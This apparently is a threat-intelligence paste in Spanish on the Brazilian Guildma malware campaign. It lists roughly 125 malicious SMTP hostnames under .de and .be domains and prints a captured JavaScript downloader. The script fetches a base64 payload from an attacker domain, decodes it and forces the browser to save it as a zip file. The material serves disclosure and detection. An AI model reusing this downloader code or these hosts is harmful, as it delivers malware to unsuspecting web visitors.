Guildma Malware Brasileño (125 SMTP's Maliciosos)

#Guildma Malware Brasileño
Servidores SMTPs utilizados.

aliatio5.redepizza.de
hustha6.salacomercial.de
models1.vixgrafica.de
macusta7.duoesportes.de
macusta9.duoesportes.de
logistiato6.qrcodeapps.de
models8.vixgrafica.de
portuario4.representante.de
mosca1.niteroiplastico.de
ripp6.nivelmaximodesenvolvimento.de
sinaili5.atlantidasurf.de
refinas4.contadorjuridico.de
logistiato4.qrcodeapps.de
diadema1.renanpessoa.de
tuflima6.movelapp.de
eteam8.representacoescomercial.de
refinas1.contadorjuridico.de
tuflima10.movelapp.de
hustha4.salacomercial.de
refinas3.contadorjuridico.de
aliatio9.redepizza.de
tuflima8.movelapp.de
soldadojr4.contadorempresas.de
restrilar3.salasonline.de
reportvig2.revestidor.de
simplesweb6.professora.de
flaritec10.clienteouro.de
reportvig8.revestidor.de
reportvig3.revestidor.de
simplesweb9.professora.de
planejos2.auladistancia.de
riosul1.sinumax.de
carmate6.grupogestantes.de
simplesweb3.professora.de
soldadojr8.contadorempresas.de
flaritec2.clienteouro.de
marciotec3.caixanivel.de
supercross4.reajuste.de
bestclaro8.clubeprofessoras.de
restrilar8.salasonline.de
restrilar1.salasonline.de
planejos7.auladistancia.de
carmate8.grupogestantes.de
planejos3.auladistancia.de
riosul3.sinumax.de
soldadojr1.contadorempresas.de
sargentometi3.financierocontabilidade.de
carmate4.grupogestantes.de
planejos5.auladistancia.de
semape4.financieroarmazem.de
bestclaro7.clubeprofessoras.de
reportvig4.revestidor.de
supercross8.reajuste.de
supercross7.reajuste.de
soldadojr7.contadorempresas.de
simplesweb1.professora.de
flaritec7.clienteouro.de
riosul7.sinumax.de
soldadojr5.contadorempresas.de
restrilar7.salasonline.de
supercross5.reajuste.de
sargentometi2.financierocontabilidade.de
assinante7.financieroloja.de
abustio2.contadorjuridico.de
semape6.financieroarmazem.de
marciotec5.caixanivel.de
pericial2.contadoramericanas.de
pericial3.contadoramericanas.de
sargentometi7.financierocontabilidade.de
semape2.financieroarmazem.de
assinante1.financieroloja.de
planejos10.auladistancia.de
bestclaro10.clubeprofessoras.de
pericial6.contadoramericanas.de
notafiscal6.adimrin.be
dividendos2.online-administracao.be
notafiscal8.adimrin.be
notafiscal5.oticavision.be
webcobrancas8.online-cobrancas.be
comeciale5.webpenhora.be
notafiscal6.oticavision.be
webcontabil3.online-contabil.be
notafiscal9.oticavision.be
notafiscal1.lojas.be
dividendos9.online-administracao.be
administrativo4.webdividas.be
notafiscal6.stormexd.be
webjuridico3.online-juridico.be
notafiscal1.oticavision.be
bestclaro8.clubeprofessoras.de
notafiscal4.adimrin.be
webcontabil5.online-contabil.be
administrativo8.online-financeiro.be
administrativo6.online-financeiro.be
comeciale2.webpenhora.be
webjuridico8.online-juridico.be
webjuridico5.online-juridico.be
webjuridico2.online-juridico.be
bestclaro7.clubeprofessoras.de
notafiscal5.adimrin.be
cobrancaweb10.webcobranca.be
notafiscal10.adimrin.be
webcontabil2.online-contabil.be
bestclaro10.clubeprofessoras.de
notafiscal7.lojas.be
administrativo9.online-financeiro.be
dividendos1.online-administracao.be
comeciale3.webpenhora.be
cobrancaweb7.webcobranca.be
cobrancaonline2.webdebitos.be
webcontabil4.online-contabil.be
webjuridico7.online-juridico.be
comeciale7.webpenhora.be
dividendos5.online-administracao.be
cobrancaonline6.webdebitos.be
administrativo6.webdividas.be
webcontabil10.online-contabil.be
notafiscal4.oticavision.be
administrativo1.webdividas.be
cobrancaweb9.webcobranca.be
cobrancaonline8.webdebitos.be
administrativo9.webdividas.be
cobrancaweb2.webcobranca.be
administrativo2.webdividas.be
cobrancaweb8.webcobranca.be
acelera04.webdebitos.be

############################################################

// http://hizr7yweaki.administracaoweb.xyz/jquery.min.php()

function sbuffers(base64) {
    var binary_string = atob(base64);
    var len = binary_string.length;
    var bytes = new Uint8Array(len);
    for (var i = 0; i < len; i++) {
        bytes[i] = binary_string.charCodeAt(i);
    }
    return bytes.buffer;
}

function RicksGutis() {
    try {
        var sUrl = "http://hizr7yweaki.administracaoweb.xyz/FYFMXTT/WGCHHWPLQ/378.10.6789.566033";
        now = new Date;
        var Doc = now.getHours() + now.getMinutes() + now.getSeconds() + now.getMilliseconds();
        var fileName = sUrl.replace(/^.*[\\/]/, "") + Doc + ".zip";
        $.get(sUrl + "z64y64", function(response) {
            var file = response;
            var data = sbuffers(file);
            var blob = new Blob([data], {
                type: "octet/stream"
            });
            if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob, fileName);
            else {
                var url = window.URL.createObjectURL(blob);
                var a = document.querySelector("a");
                a.href = url;
                a.download = fileName;
                a.click();
                window.URL.revokeObjectURL(url);
            }
        });
    } catch (err) {
        setTimeout(RicksGutis, 2000);
    }
}
RicksGutis();